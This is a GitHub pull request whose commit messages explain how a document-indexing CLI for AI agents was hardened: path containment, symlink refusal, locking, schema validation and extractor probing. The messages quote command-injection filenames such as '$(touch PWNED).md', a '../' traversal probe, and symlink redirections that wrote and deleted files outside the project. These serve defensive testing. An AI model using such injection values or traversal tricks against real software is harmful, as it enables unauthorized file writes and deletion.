feat(knowledge): DocumentKB S1 — index the team's own documents so agents can cite them - #731
Open
alokgp wants to merge 19 commits into
Open
feat(knowledge): DocumentKB S1 — index the team's own documents so agents can cite them#731alokgp wants to merge 19 commits into
alokgp wants to merge 19 commits into
Conversation
added 19 commits
August 10, 2026 10:02
…category The DocumentKB (customer documents indexed under a space's knowledge/ root) must be reconstructible from the user's documents/ folder plus the audit ledger, so its three state changes need to be first-class events before any of the tooling that emits them exists. Landing them first also keeps every intermediate commit of the slice green: the count pins are spread across four test files and thirteen documents, so doing this late would leave t28/t81/ t111/t239 red for the whole build. DOCUMENT_INDEXED / DOCUMENT_UPDATED / DOCUMENT_REMOVED form a new Documents category, taking the taxonomy from 77 events / 20 categories to 80 / 21. All three are specified to land in the SPACE-level audit shard even for an intent-scoped document, with the intent UUID recorded as a field rather than selecting the shard -- otherwise an associate/dissociate scope change would split one document's history across two shards and make it unreconstructible. The emitter cells read `Reserved (v2.5.55 DocumentKB S1)` because t48's forward check requires a named emitter file to exist and contain a live emission call, and tools/aidlc-knowledge.ts does not exist yet. The commit that ships those emissions must replace the cells with the real path in both 12-state-machine.md and audit-format.md, per the convention documented at 12-state-machine.md:416 -- until then t48 skips the rows by design. Two drift-guard hardenings, both prompted by review: - t28's baseline-pin test name now interpolates CANONICAL_COUNT instead of hardcoding the number. No drift guard reads test-name strings, so a literal there rots silently -- it had already gone stale, alongside the file's quoted registry header and its line-range references. - t239 now pins the guide taxonomy's CATEGORY count three ways: the prose claim, the table row count, and the sum of the per-row counts against the event total. Its existing regex only matches "N event(s)" phrasings, so a "N categories" claim could previously drift with a fully green suite. The third assertion is not redundant -- a per-row miscount leaves both the row count and the prose untouched. Deliberately unchanged: 06-hooks-and-tools.md's cross-reference table already undercounted before this change (it is explicitly not the source of truth and no test pins it), and 12-state-machine.md's "18 categories" was a pre-existing off-by-one that the new section makes correct.
An unrecognized noun does not error -- it falls through as freeform intent text to the LLM conductor, so `/aidlc knowledge list` would appear to exist and then behave like a prompt, in the worst case offering to birth an intent named after the verb. Making the noun terminal is therefore a prerequisite for every DocumentKB verb being testable through its real front door. Follows the pattern awslabs#666 (e135e8e) established for `plugin`: one shared parser, every entrypoint delegating to it, rather than hand-rolled verb grammar per site. KNOWLEDGE_VERBS is a frozen array so the dispatcher, the docs pin and the skill can enumerate one surface instead of keeping three copies in step. `remove` is deliberately absent -- deletion stays "delete your own original, then sync", so the tool never holds a destructive verb over user-owned files. `knowledge` is a PARALLEL noun, not a workspace verb: t239 pins WORKSPACE_VERBS to exactly three members, and `plugin` is likewise absent from that set. TerminalCommand.source gains a fourth member, and it is a closed union with its own consumers -- so six sites needed the noun, not the four a parser-only count suggests: - classifyTerminalCommand and parseNextFlags delegate to the parser - the rollforward guard's early-exit chain learns the new flag; without it a knowledge verb typed in a latched turn is reported as "already ran" and silently does nothing - that guard's label branch tests source against a closed list of noun families; a missing family renders `--knowledge list`, inventing a flag - engine branch 1d emits the print directive - the Kiro adapter needs both a compiledArgs branch and, newly, a tool selection Two problems `plugin` did not have. The verb IS the subcommand here, so there is no translation table -- but Kiro's compiledArgs must re-prepend the noun or the compiled CLI receives a bare `onboard` it cannot route. And the adapter hardcoded aidlc-utility.ts as its spawn target, because every terminal family so far lives in that one tool; knowledge is the first that does not, and sending it there yields `Usage: aidlc-utility ...`. Each site was verified by reverting it, repackaging, and confirming a specific test fails -- the tests import from dist/, so a core-only revert would pass and prove nothing. Reverting the adapter's tool selection initially passed: t180's non-compiled case asserted only on the latch, never on which tool was spawned, leaving that logic unobserved while the file was green. It now asserts the relayed output. Deferred to the commit that creates the tool, since t230 requires every TOOLS value to exist on disk: TOOLS.knowledge, the ROUTES entry, loadDelegate, and the Utilities: help line. Until then the noun resolves to a clean "module not found" in every harness -- never a birthed intent, never a silent no-op.
…indexes through Indexing a customer document reads paths that came from outside the tool -- a committed index row, a CLI flag, a directory walk -- so the read itself is a security boundary, not plumbing. These four primitives are that boundary, and they land before any DocumentKB verb so no verb has to invent its own. Three come from the unmerged awslabs#660 line, which was reviewed only internally and never reached this branch, so nothing here inherits a "covered" status: every primitive is re-pinned by the new t272. The fourth was generalized out of a tool-local helper. readRegularFileNoFollowOrThrow defends two properties. TYPE: only a regular file is read, because rejecting symlinks alone is a denylist that admits every other kind -- a writer-less FIFO blocks forever, and a character device such as /dev/zero never reaches EOF, so the read grows until the process dies. TIME: opening once with O_NOFOLLOW and fstat-ing that descriptor makes the identity checked the identity read; lstat-then-read validates one file and reads another if the name is swapped between them. Two deviations from the donor, both deliberate: writeBufferAtomic is written as the twin of THIS branch's writeFileAtomic, not the donor's. Upstream's uses an exclusive-create temp plus a UUID and tracks temp ownership so a failure only unlinks its own; the donor's uses a pid+counter name and a plain write. Copying the donor verbatim would have regressed the atomic-write discipline, so the binary variant mirrors the stronger sibling instead -- and the donor's atomicTmpPath helper is not ported, since upstream inlines a better construction. assertNoSymlinkInChainOrThrow throws where the donor's exits. A shared primitive cannot own the caller's exit code. It refuses EVERY path component, not just the leaf: a walk that validates a container and then trusts its contents will happily read a symlinked file inside an already-trusted directory, which was awslabs#660's actual regression. A component that does not exist yet cannot redirect anything, so it is skipped rather than failed -- otherwise first-write would break. validSpaceFlag gets its own SPACE_NAME_REGEX rather than reusing BOLT_SLUG_REGEX despite an identical pattern today, following the convention that constant's comment establishes: Bolt slugs and stage/artifact slugs are already separate domains, and space names are a third that must be free to tighten independently. Probed first: `--space ../../../tmp/escaped` is not currently exploitable, so this is defence for the new surface rather than a fix for a live hole. Each guard was verified by reverting it, repackaging, and observing the result -- the tests import from dist/, so a core-only revert proves nothing. One revert does not produce a red test: removing O_NONBLOCK wedges the suite in open() and needs killing, because a synchronous syscall is not interruptible and bun's per-test timeout cannot fire. CI would stall rather than go red, which is why that flag carries a comment explaining itself.
Both index.json and each document's metadata.json are COMMITTED files. They arrive from a clone, a merge, a rebase, or a hand-edit, which makes them untrusted input -- a reader that trusts their shape is an arbitrary-file-read with extra steps. This module is where that distrust lives, so no verb has to re-derive it. A sibling of aidlc-rule-schema.ts / aidlc-sensor-schema.ts / aidlc-stage-schema.ts: pure, zero-dep, no I/O, no process exit. Every validator returns a discriminated result and reports EVERY error rather than the first, so a hand-edited file is fixed in one pass instead of one round-trip per problem. Nothing mutates its input -- a validator that normalised in place would make the caller's "refuse without rewriting" promise unkeepable. The rules, and why each is shaped this way: schema_version is top-level and fails CLOSED. A forward-version file rewritten by this release's writer would silently drop whatever fields the newer schema added, so refusing is the non-destructive answer. The version check short-circuits before row validation, because reporting a wall of field errors measured against the wrong schema is worse than one clear line. source is discriminated on kind, and a managed row carrying an alias is refused as firmly as a linked row missing one. Without that, a row is ambiguous about which resolution path applies -- under documents/ or through the alias map. Paths are relative, POSIX, dot-dot-free and NUL-free in every field, not just source. An absolute path in committed metadata leaks one developer's directory layout to every clone, and is the traversal primitive besides. extraction is a six-state union with per-state required fields, transcribed from the extraction-state table so the two can be diffed by eye. The extractor identity has three levels rather than two, and the middle one is the point: extractor_unavailable means no extractor was FOUND, so it records an attempted name and cannot know a version -- requiring one would refuse the very record the state exists to express, and accepting one would record a fabricated fact about a program that never ran. Derivatives are revision-bound, and `invalidated` is DERIVED from a digest mismatch rather than merely a value a writer may set. An edited original therefore cannot serve stale extracted text under a fresh digest just because nothing relabelled it. related_intent_ids is omitted when a document is space-wide; an empty list is invalid, because it is ambiguous between "space-wide" and "scoped to nothing". Members are canonical UUIDs: a slug is a display name that can be renamed or reused, so it is only ever input. Duplicate ids are rejected on read, since lookups are by id and every row after the first would be silently unreachable. The tests are built from the specification, not from the implementation. Each state's design-conformant record is a literal, and the required-field cases are generated by deleting one field at a time from it -- so an assertion reads "this field is required for this state" rather than "some malformed thing was refused". An earlier version derived its fixtures from what the validator happened to require, which is circular: it could only confirm the validator agreed with itself, and it did not notice either that `extracted` accepted a record carrying nothing but a digest or that extractor_unavailable was being wrongly refused. Correcting the shared fixture to a complete record turned ten existing tests red. Path containment on disk is deliberately NOT here: a module with no I/O cannot resolve, re-check after realpathSync, or verify a digest against bytes. Those enforcement sites belong to the verb that reads files, using the primitives the previous commit shared.
…undary The first DocumentKB verb, and the first code here that touches a filesystem. `onboard` walks a user-owned folder and writes a committed catalog, so every path it handles came from somewhere it does not control: a CLI argument, a directory walk, or a row in a file someone hand-edited after a merge. Three guards apply at every read and none is optional. The shape is validated by the schema module. No path COMPONENT may be a symlink, because a walk that validates a container and then trusts its contents will happily read a symlinked file inside an already-trusted directory. And containment is re-checked AFTER realpath, because a check on the unresolved path answers "does this look inside?" while only a post-resolution check answers "does it land inside?". The walk skips symlinks, which collapses three failures into one rule: a directory cycle would recurse until the stack dies, a broken link would throw ENOENT and abort a batch that was otherwise fine, and a subtree linked above documents/ would silently index files from outside the space. Reaching outside the repo stays a deliberate, committed act. Non-regular files get two different answers on purpose. A bulk scan SKIPS them, so one odd entry in a directory the user owns cannot block the batch. A path the user NAMED is refused, because silently doing nothing with an explicit request is the data-loss-shaped no-op this design keeps refusing to ship. A re-onboard reports `already` rather than `fresh` for the same reason. A batch is all-or-nothing across two passes: everything is read and validated before anything is written, so a refusal leaves the index exactly as it was. Two collisions reach the same bad end and closing only the first leaves a real hole -- two entries in one batch, and an entry against a row already on disk. The predecessor work shipped the first check and still stranded a row through the second. writeIndex validates on the way OUT, not only on the way in. That guard exists because this commit shipped the bug it prevents: portableSourcePath subtracted an unresolved anchor from a realpath-resolved file path, so on a machine where /tmp is a symlink every row recorded `../../../../private/tmp/...` -- relative in form, absolute in effect. The schema module caught it on the very next read. Resolving one side was not enough; both now go through one helper, and a path that would escape is refused where it is built rather than where it is read. The content sniffers are ported, tested, and deliberately NOT wired: nothing calls looksBinary yet. They are the format router extraction needs, and the code says so plainly so their test count is not mistaken for coverage of onboard. Also lands the dispatcher wiring the routing commit had to defer, since a pin requires every TOOLS value to exist on disk. Only `onboard` is registered -- listing a verb the tool would reject turns a clean error into a confusing one from a layer down. The lock, the journal, the digest re-validation and the audit events are the next commit. Until then onboard writes directly and is not safe under concurrency, and every row records that no extractor has been probed.
…tion `onboard` wrote directly before this: two concurrent runs each read the index, each appended a row, and the second write erased the first. Measured, not theorised -- twelve concurrent processes land eight rows without a lock. The sequence is staged so the expensive part happens outside the lock and only the decision happens inside it. Bytes are read and a journal dir is written first; then, holding the space-level audit lock, every digest is re-validated, index.json is re-read, the staged dirs are renamed into place, the index is written, and the audit row is appended. Each step earns its position. Extraction will spawn an external process with a multi-second timeout, and the lock's acquire budget is about five seconds -- holding it across a PDF parse would make unrelated commands fail to acquire rather than wait. The digest re-check is what makes the whole thing safe: a document edited while it was staged would otherwise be indexed with the new digest and the old text, a silent corruption no amount of locking elsewhere prevents. The index is re-read because the copy from the read pass predates the lock, and writing it back is exactly how a concurrent run loses a row. Staging then renaming means a crash leaves either nothing or a complete document dir, never a half-written one a later read would trust. The design's audit-destination section was half wrong, and the wrong half was the one that mattered. It claimed passing no intent yields both the space-level lock and the space-level shard. Only the lock. `auditFilePath` resolves through `activeIntent`, which treats an absent intent as "resolve one from the cursor" -- so it returns the ACTIVE INTENT's shard whenever one exists, and reaches the space shard only when a space has no intents at all. That is the state a first probe is in, which is why the original reading looked verified. The first build of this filed DOCUMENT_INDEXED under `intents/<slug>/audit/`, which is what invariant I15 forbids: a document outlives any intent and its scope can move later, so filing provenance under whichever intent happened to be active would split one document's history across shards. The remedy is a composed space-shard path plus a shared audit primitive that takes an explicit shard. It keeps the same validation, rendering and metric tap as every other append, so a DocumentKB row is indistinguishable on disk from a normally-written one. The test fixture always creates an intent first; without one the regression is invisible, because that is the single case where the buggy call returns the right answer. The journal is now genuinely gitignored, in all five harness trees, alongside the linked-source alias map. Both were described as ignored -- in the design, in a code comment, in prose -- and neither rule existed. A user running `git add -A` after a crashed onboard would have committed a staged transaction directory as if it were work. The test asserts through `git check-ignore` rather than grepping for the pattern, because the question is whether git agrees, not whether a string is present, and it also pins that the committed side is not swept up by an over-broad rule. Only DOCUMENT_INDEXED loses its Reserved emitter cell. The other two events have no emitter until sync lands, and un-reserving all three would recreate the declared-but-never-verified hole the convention exists to close. Two notes on testing concurrency, since both cost a wrong answer first. Four processes launched together did not contend -- removing the lock still passed; twelve do, and the failure is a lost row rather than an error. And the digest guard resisted two mocking approaches (one never entered the window, the other recursed forever through its own fallback) before a real three-process race pinned it.
Arden's answer named "pdftotext, or a configured enterprise extractor command" without saying where that configuration lives. This is the seam: an optional `documentExtractors` map in tools/data/harness.json, keyed by MIME type, absent by default in all five trees. It has to be packager-owned, and the reasoning behind that is worth stating because the obvious alternatives both fail. harness.json is generated AND committed AND byte-diffed by --check, and its writer builds a fresh object -- so a hand-added field fails the drift guard immediately and is erased by the next build. The runtime read-modify-write path does preserve foreign keys, but it targets a different, install-local file, so a value written there never reaches another clone. Committing the choice so it travels IS the requirement, which leaves exactly one option. The reader tolerating unknown keys is not evidence against any of this. The reader is not what decides what ships. Two assertions carry that argument in the test rather than in prose: the field must be absent from every shipped harness.json by default, and a hand-added field must fail --check. The second is what makes "packager-owned" measured instead of asserted -- if the guard tolerated the edit, this story would be unnecessary. A third asserts the field survives a SECOND package run, which is the property the hand-edit route cannot have. Validation is strict because the value becomes a process invocation. `argv` is an array of non-empty strings and a shell string is refused outright rather than helpfully split -- splitting is how quoting bugs become injection. A malformed block fails closed instead of spawning half-parsed. The blast radius needed narrowing, and the trap is easy to miss. shippedRulesSubdir() catches everything the reader throws and string-matches the message, rethrowing anything it does not recognise. A bad documentExtractors block would therefore have crashed a function whose only job is to name the rules directory -- an unrelated caller failing on a field it never reads. It now tolerates this field's errors too, while the strict accessor keeps throwing, so extraction still fails closed. Both halves are pinned, because the shared try/catch makes it easy to fix one and break the other. No harness sets the field. This is the seam, not a default extractor.
AI-DLC ships no PDF parser and downloads none at runtime. It probes an external executable -- pdftotext on PATH by default, overridable per harness -- with a version flag and a short timeout, then degrades. That probe-then-degrade shape is the reusable part of the sensor precedent, not the transport: `bunx unpdf` was proposed and withdrawn, because unpdf is a library with no executable bin while bunx runs package executables. The `bunx eslint` precedent held only because eslint is a binary. The distribution contract forbids it besides -- dist/ has no package.json and fetches nothing. The probe tries `-v` before `--version`, and that order is measured rather than defensive. `pdftotext --version` treats the flag as an INPUT FILENAME, prints `I/O Error: Couldn't open file '--version'`, and still exits 0. A probe that tried only `--version` and trusted the exit code would report the tool available having learned nothing, and would record that I/O error as the extractor's version in every metadata.json it wrote. A line that is an error about the flag is now rejected as a version. Every non-extracted outcome is a distinct state, because each implies a different remedy and collapsing them sends the user somewhere useless. A missing extractor records the attempted name and no version -- nothing ran, so a version would be a fabricated fact. A valid PDF with no text layer is no_extractable_text: the extractor ran and succeeded, and the remedy is a text version of the document, not repairing a file that is not broken. A malformed or encrypted document is extraction_failed carrying the extractor's own first line of stderr. A type nothing is configured for is unsupported_type, which is a property of the release rather than something to install. All of them stay catalogued and citable; extraction never fails the command. Bounds are named exported constants so a test can assert the bound rather than a magic number. The input cap is checked BEFORE the spawn, because avoiding the spawn is the entire point of having it -- a decompression bomb must hit a bound, not exhaust memory. No shell, ever: an argv array, with `$IN` the only substitution. Verified with documents named `$(touch PWNED).md`, backtick, semicolon and `&&` variants -- all indexed as ordinary filenames, no marker file created anywhere a shell would have made one. A structural check also refuses `shell: true` and `exec()` in this tool, since either would silently undo the rest. Extraction runs during staging, outside the audit lock, and a structural test pins that the locked region contains no spawn. The lock's acquire budget is about five seconds, so holding it across a multi-second parse would make unrelated commands fail to acquire rather than wait. content.md holds the extractor's output verbatim -- no banner, no wrapper. It is digest-compared against source_revision, so a prepended notice would corrupt that comparison; the untrusted-data declaration belongs to the verb that emits the text. A row records its content path only when there is content, so a reader never follows a path to a file that was never written. Tests branch explicitly on whether pdftotext is present rather than assuming, because CI has no Poppler and a test that silently skips its own subject is worse than no test.
…h the data `list` shows every row -- tombstoned and unreachable included -- each with its state visible, and there is deliberately no `--all` flag. Hiding rows by default is the behaviour that would need one. "Excluded from retrieval" is a retrieval rule and does not reach the human catalog: a document that vanishes from `list` after its original is deleted looks like data loss, and one that appears with no status looks healthy. For the same reason the state is printed for healthy rows too -- a column that appears only on problems teaches the eye to read its absence as "fine", which is exactly how a tombstone comes to look fine. A tombstone and an unreachable source are reported differently, because they are different problems: one is a deliberate removal, the other is usually a missing checkout, and conflating them would send the reader to the wrong remedy. `show` is the one place extracted text leaves the tool, and the untrusted-data declaration travels INLINE in the same payload as the content -- in both the JSON and the human rendering, where it is printed before the text it warns about. That placement is the whole point: a caller that receives content cannot receive it without also receiving the statement that it is data rather than instructions. metadata.json's content_trust keys remain the durable record, but a sidecar key a caller can drop is not a boundary, and neither is a line in a skill file the caller may never have read. content.md on disk stays verbatim. The notice is added by the emitting verb, at emit time, because the file is digest-compared against source_revision and a prepended banner would corrupt that comparison -- so the negative assertion carries as much weight as the positive one. Stale text is withheld rather than shown with a caveat. A derivative whose source_revision no longer matches the row's digest describes a revision that no longer exists; quoting it would mis-attribute the document. The file stays on disk, since withholding is a read decision and not a deletion. Citations point at the original, never at the derived text: the original is the authoritative human-readable reference. One further constraint surfaced while wiring the dispatcher: human help is capped at twenty lines, and three verb entries pushed it to twenty-two. It now carries a single `knowledge <verb>` line, with every verb still listed under `help --all` -- the short help is a summary for someone deciding what to type, not the surface itself. One test also had to be rewritten. It asserted "no --all flag" by grepping the source for the string, and matched this file's own comment explaining that the flag does not exist. It now spawns the tool and asserts the flag is rejected, which is a test of behaviour rather than of prose.
…cal layout A customer's document set often lives outside the repo, and copying it in is not always the answer. A `linked` row therefore commits an ALIAS plus a RELATIVE path, and the alias resolves through a gitignored local map. The committed side never learns where the corpus sits on any particular machine. Which half holds the absolute path is the whole design. Committed metadata carries none, in either source kind: an absolute path there would give every clone one developer's directory layout, and it is the traversal primitive besides. The gitignored map carries the absolute root, because it is the one file allowed to know this machine and the one that never ships -- so a RELATIVE root there is refused, since it would resolve differently depending on the directory the tool happened to run from. An unmapped alias is source_unavailable, and emphatically not a tombstone. A teammate who clones without the corpus must see "you don't have this source mapped" rather than the silent deletion of rows they never owned: the document exists, and this clone cannot reach it. The two states have different remedies, so conflating them would send the reader to the wrong one -- restoring the map makes those rows available again, which is why availability is a property of the clone rather than of the document. A missing map is null rather than an error, since that is the normal state for such a clone. A present but malformed one fails closed: it is machine-local input, but it resolves to filesystem roots, so a half-understood map must not be guessed at. It is read through the same no-follow boundary as everything else, because being local does not make it trusted. Containment applies against the alias ROOT, not just the space. Without that, a committed row could walk up out of a teammate's corpus and reach any file on their disk -- the committed side stays untrusted input even when the root it resolves through is local. A symlink inside the corpus that escapes it is refused for the same reason, and the refusal does not echo the bytes it declined to read. An incidental symlink is never an implicit linked source. Reaching outside the repo is a deliberate, committed, reviewable act; a symlink that silently escapes containment is the arbitrary-file-read the boundary exists to prevent. The walk skips it, and every row onboard writes is `managed` -- nothing becomes linked by accident. `list` and `show` now resolve these rows properly instead of reporting every linked row unavailable, and a grep asserts the external root appears in no committed file even when resolution succeeds.
…slug A document is space-wide by default -- available to every intent in the space -- and `--intent` narrows it. Both directions are strict, because every ambiguity here writes a wrong UUID into a committed file. Space-wide is spelled by OMITTING related_intent_ids. An empty list is invalid, because it is ambiguous between "space-wide" and "scoped to nothing", and those mean different things. So dissociating the last intent deletes the key rather than leaving `[]` behind -- which the schema would reject on the very next read, making the index unreadable. Persistence is always a UUID. A slug is only ever input: it is a display name that can be renamed or reused, so a persisted slug would silently re-point a document's scope the day someone renames an intent. A test renames one and confirms the association survives, and another asserts the slug string appears nowhere in either written file. Every ambiguity fails before anything is written. A duplicate slug is refused with the record dirs that disambiguate it rather than resolved by picking one -- two intents can share a slug, and guessing would scope the document wrongly and silently. Bare `--intent` with no active cursor is refused for the same reason. `--intent` in a space with no intents names both remedies, since either may be what the user meant. Resolution runs before any lock: it reads intents.json and can fail, and holding a lock across a failure path serialises the workspace for nothing. associate and dissociate are idempotent and say which happened. A no-op exits 0, reports `already`, and emits NO audit event -- an event per call would inflate the ledger with non-changes and break the reconstructible-from-the-ledger invariant. The test asserts the ledger is byte-identical after a repeat, not merely that the count looks right. metadata.json is updated alongside the index, because it is what a rebuild reads: if only one carried the association, a rebuild would silently drop the scoping. The event lands in the space-level shard with the intent as a FIELD. This verb is precisely the one that can change a document's scope, so it is the one that would split a document's history across shards if the intent selected the destination. Also discharges the invariant reassigned here from the indexing story: a space-wide document indexed before any intent exists stays findable, keeps its id, and stays space-wide once the space gains its first intent -- and re-onboarding across that boundary still reports `already` rather than duplicating the row under the new intent. One parser detail worth stating: bare `--intent` means "the active one", so an absent or flag-shaped next token is the bare form rather than an error. Without that, `--intent --json` would swallow the `--json`.
…t index, and repair identity after a move-plus-edit Three verbs that complete the indexing lifecycle. Each exists because a simpler alternative does not work. sync reconciles documentkb/ with documents/, detecting five kinds of change. Four are obvious -- a same-path edit, a pure move, a new file, and a removal -- but the fifth inverts the usual rule. Digest-unchanged normally means nothing to do, but a row recording extractor_unavailable described a fact about the MACHINE: when a later sync finds the extractor present, it must retry even on unchanged bytes, or every PDF stays permanently unextracted and the user's only recourse is to edit every file to move its digest. extraction_failed retries only on a VERSION change, because a genuinely malformed document is a property of the document and would otherwise be re-parsed forever. A removed original leaves a metadata-only tombstone -- id, last path, last digest, removed_at -- and DELETES the extracted content by default. Deletion of the original must remove its readable derivative: for a document deleted because it was sensitive, leaving content.md behind is a real leak. The tombstone survives because a rule promoted later cites this id and the citation must not dangle. The deletion was got wrong once and then found to have defence in depth. Deleting the whole <id>/ dir removed metadata.json too, so a later rebuild lost the tombstone entirely (measured: 2 rows before, 1 after). The fix is to delete content.md only, and the metadata rewrite also covers it. Reverting either alone changes nothing; reverting BOTH loses the row. sync rebuilds a missing index.json from the per-document metadata.json files before reconciling. That rebuild IS the mechanism the identity design rests on. A rebuild that silently mis-classifies is worse than none: a tombstone must come back as a tombstone and an unmapped linked row must come back as source_unavailable -- never conflated, never dropped. The rebuild path validates every metadata.json through the same boundary as a normal read, because it IS a read of untrusted committed input: a rebuild that trusts what it finds is an arbitrary-file-read with extra steps. rebind is the auditable resolution for the cases sync refuses to guess at. With only path and sha256 there is genuinely no information distinguishing a moved-and-edited policy.pdf from a deleted one and an unrelated new standards.pdf. Failing closed is defensible only if the human has a way to resolve what the tool refused: rebind preserves the identity (same id, same intents, same citation history) and invalidates the old extraction rather than keeping stale text beside a fresh digest. All three are wired through the same dispatcher and ROUTES structure as the earlier verbs, and the test suite now covers 178 assertions across the DocumentKB surface with zero failures.
Author core/skills/aidlc-knowledge/ as a standalone skill outside the lifecycle graph, and register it at all five sites: a manifest.ts row for claude/kiro/kiro-ide/opencode plus the hardcoded array in harness/codex/emit.ts, which is the only thing that ships a skill to codex (it does not enumerate core/skills/). Building the skill surfaced a real gap rather than a documentation one: the design specifies --allow-inactive and a refusal when the target intent has finished (§2.1, §4), and the tool implemented neither. Since I41 demands SKILL.md <-> tool flag parity in both directions, documenting the flag without building it would have made the parity check pass over a silent scope cut. resolveIntentFlag now refuses an inactive intent on both resolution paths (bare --intent and --intent <slug>) and names the remedy. dissociate forces the override on: removing a scope from a finished intent is cleanup, and refusing it would strand the association with no way to undo it. The refusal exits 1, not the design's exit 2 — every sibling refusal in that table already exits 1 through the shared emitError, so honouring the design would make one refusal differ from its four siblings. The deviation is recorded at the function and the design's table corrected, rather than left for the next reader to rediscover. t282 pins both invariants. The parity assertions EXTRACT both flag sets from the real files instead of listing them, because a hardcoded expectation would only prove the test agrees with itself; a guard test asserts the extractors see a known flag, so neither direction can pass vacuously. That guard earned its place immediately — the first extractor had an off-by-one slice that silently produced garbage. Three pins the story did not list also needed updating: both copies of t123 (smoke and unit tiers — fixing one leaves the other red) and the hardcoded skill count in t150, which is what actually catches a skill missing from the codex array. t55's stale-path sweep needed the opposite of a carve-out. Its bare "aidlc-knowledge/" token predates this skill and meant the RETIRED knowledge directory; the new skill legitimately lives at skills/aidlc-knowledge/. Carving per file would have needed six more carves for S1-14's docs, and an allowlist of harness prefixes failed open on the two roots I forgot (.agents/, .aidlc/). The discriminator is now "not preceded by skills/", which is root-agnostic — measured against 9 stale spellings (all caught) and 6 legitimate ones (all pass). Owns invariant rows I33, I41.
…am collision upstream/v2 advanced to 2.5.58 while this branch was being built and landed t272-unit-major-code-gen, t273-scope-aware-phase-dirs, and t274-voice-parity — the exact three numbers this branch's first three DocumentKB tests already used. Upstream's commits are merged and these are not, so this branch moves. Mechanically: 11 renames in DESCENDING order, because the target range overlaps the source range by eight and an ascending pass would clobber files it had not yet moved. Each file's number appears in three more places than its name — the header comment, its mkdtemp prefix, and its describe() titles — so a rename that only moved the filename would leave temp dirs named for a number that no longer exists, and a future "which test made this directory" grep would quietly lie. Also updated: the one cross-reference (t278's header pointed at the file that is now t277) and the seven EXPECTED_NONE_TO_CLI entries in gen-coverage-registry.test.ts, whose explanatory comments each named the old number too. Pure renumbering: the staged diff is symmetric at 119 insertions and 119 deletions, and git recorded all eleven as renames rather than add/delete pairs. Verified: coverage registry regenerated and --check green; smoke+unit at 212 files with only the documented pre-existing reds (t248, plus t267 which passes 65/65 in isolation — a contention artifact, not this change).
The rebase onto 2.5.58 surfaced a real integration break rather than a merge conflict: upstream renamed the `intent-birth` verb to `intent-create`, and two DocumentKB tests birth real intents through the shipped tool instead of hand-writing intents.json. Both spawned the old verb, so 43 assertions failed with the tool's own rename notice. Nothing about the feature changed — this is the cost of the deliberate choice these tests make. A hand-written registry fixture would have survived the rename silently and gone on asserting against a shape the tool no longer produces, which is the failure mode worth paying for. Swept every external verb the DocumentKB tests spawn: `intent-create` is the only one outside aidlc-knowledge.ts itself, so this is the whole blast radius. 215 files, 1 failed file (t248-codekb-scope-diff, 2 assertions) — independently reproduced on a clean upstream/v2 worktree with zero feature code, so it is pre-existing and not from this branch.
…KB S1 The registry pin was the one that mattered, and it was failing silently. Adding aidlc-knowledge.ts to TOOL_DESCRIPTORS moved the subcommand denominator 99 -> 107: all eight verbs had been invisible to the coverage registry, with every tier green throughout. A missing enumeration entry is not a red test, it is a smaller denominator. All eight then reported UNCOVERED, because subcommand units carry minMechanism: cli — the dispatch surface IS argv, so importing a handler proves nothing about whether the verb is reachable. Only four verbs had a test that spawned the CLI, so this adds five argv-dispatch tests (show, sync, rebind, help, and `remove` staying refused) rather than claiming verbs no test could discharge. The ratchet baseline moves 87 -> 95. Two of the six listed pins correctly needed nothing: t229 pins the workspace-verb grammar and knowledge has its own parseKnowledgeCommand, and t239 pins WORKSPACE_VERBS to exactly three members — knowledge is deliberately not one. Verifying that was as load-bearing as the edits. Docs: onboarding.md is the consequential one, since a feature absent there is invisible to the agent at runtime; it now carries the documents/-vs-documentkb/ ownership split and the skill's read-write classification. Also corrected two claims S1-00 left stale — DOCUMENT_UPDATED and DOCUMENT_REMOVED were marked "Reserved" in the state machine and audit-format docs while both are genuinely emitted. The pre-PR gate caught two defects the whole suite missed: a tsc error where ExtractorIdentity.version was required although the validator's own STATE_REQUIREMENTS table REJECTS a version for extractor_unavailable (the type contradicted the schema), and four lint errors. `bun run lint` runs with --error-on-warnings, so warnings fail it too. Review also caught a false claim of mine: `sync` does not rebuild from the audit ledger. rebuildIndex() reads the filesystem only, and the sole audit reference in the tool is the write side. Fixed in the doc and in the tool's header comment the claim came from — a wrong source comment regenerates wrong docs indefinitely. Version 2.5.59: upstream took 2.5.56 through 2.5.58 during this build. Completes DocumentKB S1 (15 stories, invariant rows I01-I41).
…nowledge/
The whole-slice review found a defect the fifteen per-story reviews could
not: the design listed a trust-chain anchor as a REUSE item and it was
never ported. Three carefully-built path guards all protected what was
INSIDE documents/ and documentkb/; nothing checked whether those
directories were themselves symlinks. realpathSync on a container
RESOLVES it, it does not VALIDATE it, so every guard below it was
decorative on the write path.
Measured against the shipped tool, not reasoned about:
documentkb -> /tmp/elsewhere onboard wrote index.json, metadata.json,
content.md and source.sha256 OUTSIDE the
project. Exit 0, no warning.
documentkb -> documents the derived catalog landed inside the
user's own folder, which this tool
promises never to reorganise.
collectStaleJournals rmSync'd a file outside the project --
an arbitrary-file-DELETE primitive.
readIndex / readDocumentMetadata / readSourcesLocal
returned FOREIGN records, and a linked
document resolved into an
attacker-controlled root, which
re-points document CONTENT.
assertKnowledgeRootTrusted now runs in all six CLI handlers and inside
all thirteen disk-touching exports. Both, deliberately: the handler call
fails before flag resolution does work, and the in-function call is what
protects a caller that imports the module and skips main() -- a bypass
review demonstrated, and the path seven of these tests already take.
Five rounds each fixed the cases named and missed the next sibling,
because a case list cannot fail when someone ADDS a case. What ends the
class is two structural properties in t277, each RED-verified against the
mistake it prevents:
completeness the test greps the module source for exports taking
(projectDir, space) and fails on any that is neither
guarded-and-tested nor classified pure. Verified by
appending an export that did not exist when the test was
written -- it failed by name.
purity each pure-classified entry is grepped for this file's
REAL twelve I/O primitives and fails naming the function
and the primitive. Verified by restoring the original
portableSourcePath misclassification.
Instances four and five both got through because an entry carried a
comment asserting purity that nobody checked against the body beneath it.
The first primitive list named readFileSync/writeFileSync, which appear
zero times here, while omitting writeFileAtomic/writeBufferAtomic, which
are how the module really writes -- a plausible list that does not match
the code is the same wish, one level up.
Two traps worth the next reader's time. The classification axis is not
"which directory does it read" but "does a redirected knowledge/ change
what it reads" -- getting that wrong is what misclassified the alias-map
readers, whose file is a sibling of documentkb/ under the same container.
And an exploit probe must be SCHEMA-VALID before "it refused" means
anything: twice a malformed fixture produced a refusal from validation
rather than the guard, which reads as a false all-clear.
Scope, stated rather than implied: this catches a symlink present when
the command starts. A race that plants one mid-run is out of scope and
accepted -- it needs a process already co-resident timing a sub-second
window, far stronger than the threat defended here, which is a hostile
branch, tarball, or clone landing a symlink before anyone runs anything.
